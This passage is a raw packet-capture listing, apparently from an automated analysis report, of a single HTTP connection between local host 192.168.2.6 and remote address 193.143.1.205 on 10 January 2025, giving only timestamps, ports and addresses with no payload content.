Jan 10, 2025 22:33:17.664417982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.664427996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.664439917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.664448977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.664483070 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.665102959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.665143967 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.665153027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.665163994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.665201902 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.665230989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.665241957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.665278912 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.665333986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.665345907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.665441036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.665956020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.666014910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.666026115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.666049004 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.666140079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.666151047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.666162014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.666183949 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.666209936 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.666263103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.666857004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.666876078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.666887045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.666898012 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.666929960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.667006969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.667017937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.667030096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.667056084 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.667115927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.667155027 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.667757034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.667768955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.667781115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.667809963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.667844057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.667855024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.667866945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.667879105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.667901039 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.667933941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.668670893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.668683052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.668694019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.668721914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.668724060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.668735981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.668746948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.668749094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.668760061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.668776035 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.668807030 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.669446945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.669476986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.669487953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.669512033 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.669574976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.669586897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.669610977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.669652939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.669667006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.669697046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.670325041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.670356035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.670365095 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.670367956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.670403957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.670449972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.670461893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.670497894 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.670532942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.670545101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.670577049 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.675817013 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.676434040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.676444054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.676455021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.676491022 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.676531076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.676542044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.676556110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.676574945 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.676600933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.688452005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.714730978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.714751005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.714765072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.714875937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.732469082 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.738017082 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.752825975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.752857924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.752872944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.752895117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.752908945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.752921104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.752937078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.752948046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.753036976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.753051043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.753062963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.753062963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.753062963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.753099918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.753118038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.753139973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.753146887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.753174067 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.753206968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.753220081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.753231049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.753232002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.753303051 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.762592077 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.775041103 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.790935040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.790962934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.790976048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.790988922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791002035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791013956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791028976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791047096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.791049004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791064024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791073084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791111946 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.791132927 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.791134119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791146994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791176081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.791224003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791237116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791276932 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.791292906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791306019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791342020 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.791440964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791454077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791465998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791479111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791481972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.791491985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791513920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.791538954 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.791619062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791655064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791697979 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.791707993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791719913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791733027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791759014 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.791903019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791915894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791929007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.791951895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.791965008 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.792011976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792025089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792037010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792052031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792078972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.792103052 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.792155981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792171001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792191982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792202950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792213917 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.792217016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792246103 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.792413950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792426109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792438030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792448997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792454958 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.792462111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792474985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.792510986 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.792674065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792685986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792697906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792710066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792721033 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.792722940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792747974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792759895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792762995 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.792772055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792785883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792788982 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.792798042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792810917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.792823076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.792855024 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.793260098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.793272972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.793286085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.793297052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.793313026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.793333054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.795943022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.795957088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.795989037 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.796003103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796015978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796042919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.796197891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796210051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796222925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796236992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796252012 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.796281099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.796319962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796331882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796344042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796356916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796370029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796375036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.796392918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.796412945 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.796446085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796458960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796471119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796500921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.796612024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796622992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796633959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796658039 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.796683073 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.796700001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796726942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796766996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.796770096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796782970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796794891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796809912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796823025 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.796824932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796838045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796849012 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.796888113 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.796911955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796941996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.796983004 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.796998024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.797012091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.797035933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.797049999 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.797153950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.797166109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.797178984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.797192097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.797205925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.797233105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.797292948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.797337055 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.797353983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.797369003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.797382116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.797408104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.801403046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.843442917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.843473911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.843488932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.843502998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.843518019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.843533039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.843547106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.843553066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.843553066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.843590975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.843592882 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.843780994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.843792915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.843805075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.843818903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.843822956 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.843832016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.843847036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.843877077 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.843964100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.843976021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.843987942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.844001055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.844008923 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.844012976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.844026089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.844038963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.844055891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.844086885 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.844120026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.844131947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.844145060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.844155073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.844170094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.844187975 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.881817102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.881838083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.881850004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.881861925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.881875038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.881886959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.881886959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.881900072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.881911993 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.881911993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.881925106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.881934881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.881947994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.881959915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.881963015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.881975889 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.882005930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882005930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.882016897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882028103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882040977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882050991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882056952 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.882062912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882075071 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.882076025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882086039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882111073 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.882136106 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.882186890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882206917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882222891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882235050 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.882236004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882251024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.882272959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.882289886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.882386923 CET	80	49709	193.143.1.205	192.168.2.6
